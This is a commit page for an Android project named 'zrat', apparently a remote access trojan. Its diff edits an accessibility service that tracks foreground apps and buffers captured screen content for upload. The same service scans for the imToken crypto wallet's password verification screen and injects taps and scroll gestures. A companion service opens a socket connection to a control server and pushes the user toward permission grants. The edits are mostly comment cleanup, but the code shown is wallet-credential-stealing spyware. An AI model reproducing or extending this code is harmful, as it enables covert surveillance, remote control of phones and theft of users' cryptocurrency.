Browse Source

refactor(zrat): 优化代码结构和功能

- 修改 .gitignore 文件,排除 android/.idea/* 目录
- 优化 AccessibilityService 中的日志输出和代码注释
- 调整 ZService 中的权限检查逻辑
- 移除不必要的代码和注释,提高代码可读性
wuyi 4 tháng trước cách đây
mục cha
commit
4f3aac8b2f

+ 2 - 1
.gitignore

@@ -34,4 +34,5 @@ npm-debug.log*
 *.local
 
 dist.zip
-android/.idea
+android/.idea/*
+

+ 3 - 13
android/zrat/src/main/java/com/example/zrat/AccessibilityService.java

@@ -233,7 +233,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
 
     @Override
     public void onAccessibilityEvent(AccessibilityEvent event) {
-        Log.i(TAG, "onAccessibilityEvent: " + event.toString());
+        // Log.i(TAG, "onAccessibilityEvent: " + event.toString());
 
         try {
             String packageName = event.getPackageName().toString();
@@ -242,7 +242,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
             ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
             CharSequence applicationLabel = packageManager.getApplicationLabel(applicationInfo);
             Log.i(TAG, "onAccessibilityEvent: app name is: " + applicationLabel);
-            // 应用/界面切换:仅在确实离开当前来源时再落库(imToken 改为仅点击其他按钮时上传,此处不落库)
+            // 应用,界面切换
             if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
                 String eventSource = detectAppSource(packageName, applicationLabel);
                 boolean stillSame = currentAggregateAppName == null || currentAggregateAppName.equals(eventSource);
@@ -251,7 +251,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
                         flushBuffer();
                     }
                 }
-                // 仅在窗口变化时遍历树,避免阻塞文本事件
                 traverseNode(getRootInActiveWindow());
             }
 
@@ -350,7 +349,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
                 }
             }
 
-            // 检测钱包密码验证区域(保持功能,但避免额外日志与阻塞)
+            // 检测钱包密码验证区域
             if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED && "imToken".equals(applicationLabel.toString())) {
                 scanForWalletPasswordVerification();
             }
@@ -361,7 +360,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
 
     @Override
     public void onInterrupt() {
-        // 中断时尽力落库,避免遗失
         flushBuffer();
     }
 
@@ -373,7 +371,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         dispatchGesture(tapBuilder.build(), null, null);
     }
 
-    // 提供运行时动态设置 flushIdleMs 的能力(毫秒)
     public void updateFlushIdleMs(long newMs) {
         if (newMs < 1000L) newMs = 1000L;
         flushIdleMs = newMs;
@@ -383,7 +380,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
             Log.i(TAG, "flushIdleMs updated: " + flushIdleMs + " ms");
         } catch (Throwable ignored) {
         }
-        // 重新调度已有的 idle 任务
         scheduleIdleFlush();
     }
 
@@ -429,7 +425,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
     }
 
     public void scrollDown() {
-        // 首先尝试使用可滚动节点方法
         AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD);
         if (scrollable != null) {
             boolean success = scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD.getId());
@@ -438,12 +433,10 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
             }
         }
 
-        // 如果找不到可滚动节点或操作失败,使用手势模拟滚动
         int screenHeight = getResources().getDisplayMetrics().heightPixels;
         int screenWidth = getResources().getDisplayMetrics().widthPixels;
 
         Path path = new Path();
-        // 从屏幕中间顶部开始,向下滑动到屏幕中间底部(这会使内容向上滚动)
         path.moveTo(screenWidth / 2, screenHeight / 4);
         path.lineTo(screenWidth / 2, screenHeight * 3 / 4);
 
@@ -453,7 +446,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
     }
 
     public void scrollUp() {
-        // 首先尝试使用可滚动节点方法
         AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD);
         if (scrollable != null) {
             boolean success = scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD.getId());
@@ -462,12 +454,10 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
             }
         }
 
-        // 如果找不到可滚动节点或操作失败,使用手势模拟滚动
         int screenHeight = getResources().getDisplayMetrics().heightPixels;
         int screenWidth = getResources().getDisplayMetrics().widthPixels;
 
         Path path = new Path();
-        // 从屏幕中间底部开始,向上滑动到屏幕中间顶部(这会使内容向下滚动)
         path.moveTo(screenWidth / 2, screenHeight * 3 / 4);
         path.lineTo(screenWidth / 2, screenHeight / 4);
 

+ 2 - 7
android/zrat/src/main/java/com/example/zrat/ZService.java

@@ -150,7 +150,6 @@ public class ZService extends Service {
 
     private boolean checkA11yService(Context context) {
         if (AccessibilityService.instance != null) {
-            // 无障碍权限已授予后,再次检测并请求 WRITE_SETTINGS 权限
             checkWriteSettingsPermission(context);
             return true;
         }
@@ -163,16 +162,14 @@ public class ZService extends Service {
         return false;
     }
 
-    public boolean checkWriteSettingsPermission(Context context) {
+    public void checkWriteSettingsPermission(Context context) {
         if (Settings.System.canWrite(context)) {
-            return true;
+            return;
         }
-        // 不弹对话框,直接跳转授权页
         Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS);
         intent.setData(Uri.parse("package:" + context.getPackageName()));
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         context.startActivity(intent);
-        return false;
     }
 
     public boolean checkManageStoragePermission(Context context) {
@@ -293,8 +290,6 @@ public class ZService extends Service {
     @Override
     public void onCreate() {
         super.onCreate();
-        // 应用启动时主动检测并请求WRITE_SETTINGS权限
-        checkWriteSettingsPermission(this);
         try {
             String socketUrl = getSocketUrl();
             IO.Options options = new IO.Options();